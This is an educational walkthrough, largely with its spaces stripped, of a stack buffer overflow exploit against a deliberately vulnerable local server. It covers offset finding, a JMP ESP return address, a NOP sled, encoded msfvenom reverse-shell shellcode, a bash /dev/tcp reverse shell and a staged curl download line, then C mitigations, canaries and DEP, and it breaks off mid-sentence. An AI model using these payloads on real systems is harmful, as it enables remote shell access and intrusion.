EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368
LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened
ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway
WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther
python-cprintx41366+x42366+x43184+x4462+x4562+x4662
AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer
Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip
python-cprintx411000+x4225+x4325+x4425+x4525
That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere
up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that
mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos
python-cprintx411000+x4225+x438+x448+x459
Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers
are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens
python-cprintx411000+x4225+x438+x448+x454+x464
Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore
onestepaway
python-cprintx411000+x4225+x438+x447+x454+x464
BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer
Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the
crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to
find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer
to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because
Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from
right-to-leftrelativetotheorderyousuppliedthedata
FindingInstructionPointerthefastway
Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your
taught to use this program without learning the manual way then you may not understand what and why exactly you are using the
program
httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb
Soourfuzzertoldusthecrashhappenedatapproximately1100bytes
rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb
rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100
This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this
command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers
and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb
outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP
Example
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0
Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6
Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7
Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1
Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2
Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf
4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk
YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236
Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP
value
usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236
Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis
python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample
Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands
Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a
bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode
python-cprintx901040+x454+x904
Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs
Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect
thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545
MESSAGE=x901040+x454+x901000
Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly
x45454545
Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our
NOPSletsruntheattackwiththefollowinglogicintheclientpy
MESSAGE=x901040+x454+x901000
Letrsquosswitchsomethingsupandtryanewdebuggerhellip
1 Server1337
2 Fromterminal2rarredb
3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo
4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)
5 UpdateyourclientPoCcode
6 pythonclientPoCpy1337
CodeChanges
malware=(x41100)
eip=x424
ending=x90200
nopsled=(x90(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly
Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand
corner
Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points
to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At
memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware
Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump
intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor
aJMPESPopcodetofindamemorylocationwiththatinstruction
1 runthevulnerableserver
2 startupedbdebuggerandattackthevulnerableserver
3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP
4 Manuallysearchthrougheachloadedbinaryandclicksearch
0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU
tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder
So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the
futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun
Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow
binsh-igtampdevtcp12700144440gtamp1
Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in
one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It
lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)
The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate
a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and
not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there
isanaddedlayerofcomplexity
LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes
ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs
NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general
sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as
register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often
abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine
codeinstructionsrdquo
So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But
when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing
the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work
helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos
So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters
commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it
any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the
registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip
PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip
binsh-igtampdevtcp12700144440gtamp1
encodesto
x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x
2fx34x34x34x34x20x30x3ex26x31
Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly
from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a
simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX
To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86
encodedcommandthatthekernelcaninterpret
binsh-igtampdevtcp12700144440gtamp1
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
x86encodedShellCode
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01
xd8x7dxf3xdcx9b
TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully
understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally
worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders
- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform
- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina
singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos
ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is
malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced
- f=formathellipThatcanberawCJSPshelletcetc
- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore
- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere
Wheredoweputourmalware
While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the
clientpyscriptputtingthemalwarebeforeEIPlookslikethis
NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS
Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is
important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left
manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior
because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory
address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and
unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto
HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow
malware=x41x30
eip=x97xcfxfaxb7
eip=x41x41x41x41
ending=x90200
nopsled=(x41(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then
look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote
with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register
pointertojumpintothenopsled
One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that
specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that
can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out
bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo
for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell
codeaftertheEIPsowecanjumpintoESP
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip
x86encodedShellCodewBadCharacters(Fornextsection)
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01
xd8x7dxf3xdcx9bx00x00
Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade
UpdatedclientpyCodewiththeldquoBadCharactercoderdquo
Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the
clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and
overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a
connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection
willfail
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or
WHOIScommandsLetrsquosinvestigate
1 RightclickEIPinRegisterWindowsrarrFollowinDump
2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending
3 Lookforx00commandsandtrytonoticeanythingorstrange
WhattheTargetMachineSees
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
